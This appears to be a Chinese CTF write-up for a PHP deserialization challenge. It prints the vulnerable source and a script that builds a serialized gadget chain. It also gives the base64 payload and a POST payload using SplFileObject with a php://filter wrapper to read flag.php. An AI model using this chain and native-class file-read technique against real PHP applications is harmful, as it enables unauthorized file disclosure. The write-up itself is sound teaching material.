首页 > 其他分享 >web日刷

web日刷

时间:2023-08-04 17:33:54浏览次数:32  
标签:web name leader department new 日刷 php public

一道题学习php原生类

反方向的钟

 <?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

一道php反序列化题

代码审计:

目标是读取flag.php文件,要找到可以执行函数读取的地方,看完下来只有new $_POST['a']($_POST['b']),先构造school类,触发wakeup,然后判断真假,然后跳转到IPO()函数。

<?php 

/**
 *
 */
class teacher
{
    
    public $name="ing";
    public $rank="department";
}

class classroom {
    public $name='one class';
    public $leader;
}
class school{
    public $headmaster="ong";
    public $department;
}

$d=new school();
$d -> department = new classroom();
$d -> department ->leader = new teacher();

echo base64_encode(serialize($d));
?>

payload:

?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjtzOjEwOiJkZXBhcnRtZW50IjtPOjk6ImNsYXNzcm9vbSI6Mjp7czo0OiJuYW1lIjtzOjk6Im9uZSBjbGFzcyI7czo2OiJsZWFkZXIiO086NzoidGVhY2hlciI6Mjp7czo0OiJuYW1lIjtzOjM6ImluZyI7czo0OiJyYW5rIjtzOjEwOiJkZXBhcnRtZW50Ijt9fX0=

之前学过的new只是用来实例化对象的,查了查PHP 原生类在 CTF 中的利用-安全客 - 安全资讯平台 (anquanke.com)PHP 原生类在 CTF 中的利用-安全客 - 安全资讯平台 (anquanke.com)

SplFileObject 类可以结合伪协议用来读取文件,PHP原生类及其利用_php 原生类利用_Elitewa的博客-CSDN博客

//post
a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

base64解码得到flag

 

 

标签:web,name,leader,department,new,日刷,php,public
From: https://www.cnblogs.com/Focu4/p/17606568.html

相关文章

  • 在vue项目中封装WebSockets请求
    在Vue项目中封装WebSocket请求包括以下步骤:1.安装WebSocket库:首先,导入WebSocket库,例如`vue-native-websocket`或`socket.io-client`。根据项目需求选择适当的库,并根据官方文档进行安装和配置。2.创建WebSocket服务:在Vue项目中,可以创建一个WebSocket服务,用于管理连接、发送和接收......
  • web实现文件夹的上传和下载
    ​  上周遇到这样一个问题,客户上传高清视频(1G以上)的时候上传失败。一开始以为是session过期或者文件大小受系统限制,导致的错误。查看了系统的配置文件没有看到文件大小限制,web.xml中seesiontimeout是30,我把它改成了120。但还是不行,有时候10分钟就崩了。同事说,可能是客户这......
  • 使用 Spring 3 MVC HttpMessageConverter 功能构建 RESTful web 服务(转)
    Spring,构建Java™平台和EnterpriseEdition(JavaEE)应用程序的著名框架,现在在其模型-视图-控制器(Model-View-Controller,MVC)层支持具象状态传输(REST)。RESTfulweb服务根据客户端请求生成多个具象(representations)很重要。在本篇文章中,学习使用HttpMessageConverter 生成......
  • 视频监控汇聚平台EasyCVR视频页面WebRTC流地址播放不了是什么原因?
    开源EasyDarwin视频监控TSINGSEE青犀视频平台EasyCVR能在复杂的网络环境中,将分散的各类视频资源进行统一汇聚、整合、集中管理,在视频监控播放上,TSINGSEE青犀视频安防监控汇聚平台可支持1、4、9、16个画面窗口播放,可同时播放多路视频流,也能支持视频定时轮播。视频监控汇聚平台EasyCV......
  • 小狐狸GPT付费源码-WEB版前端的监控代码
    今天搭建了下小狐狸的WEB版,里面有个隐藏的js代码调用外部接口可以看到下面的代码 会把当前的域名调用外部接口传递过去  ......
  • AI 赚钱:PhantaDream 对 Web3 时代 AIGC 的愿景
    AIGC作为一种工具,消除了艺术表达技巧的门槛,任何人都可以充分参与艺术的创作,这可能是艺术史上前所未有的时代,我们都是这个时代的见证者和参与者。S进入AIGC迷人的世界,这条技术赛道正在着火,彻底改变我们体验艺术的方式。2022年<>月,一位没有绘画技巧的参赛者提交了AIGC制作的......
  • websever
    1在浏览器键入url,按下回车会经历如下行为浏览器向DNS服务器请求解析该URL中的域名所对应的IP地址;解析出IP地址后,根据该IP地址和默认端口80,和服务器建立TCP连接;浏览器发出读取文件(URL中域名后面部分对应的文件)的HTTP请求,该请求报文作为TCP三次握手的第三......
  • HTML5 VideoAPI,打造自己的Web视频播放器
    本文将使用HTML5提供的VideoAPI做一个自定义的视频播放器,需要用到HTML5提供的video标签、以及HTML5提供的对JavascriptAPI的扩展。一、基础知识1.用法<video src="./video/mv.mp4"></video>注意:audio和video元素必须同时包含开始和结束标签,不能使用<audio/>这样的空元素语法......
  • NET7下的WEB API示例
    NET7下的WEBAPI示例 [Route("api/[controller]")][ApiController]publicclassShopADController:ControllerBase{privatereadonlyIRepository<Model.ShopAD,int>_shopAD;publicShopADController(IRepository&l......
  • web安全测试工具
    web安全测试工具1,appscan,算是用的非常多的一款工具了,扫描后能够将绝大部分的漏洞找出来。2,NetsparkerCommunityEdition这个程序可以检测SQL注入和跨页脚本事件。牛逼的是还能提供解决方案3,Websecurify这是个简单易用的开源工具,此程序还有一些人插件支持,可以自动检测网页漏......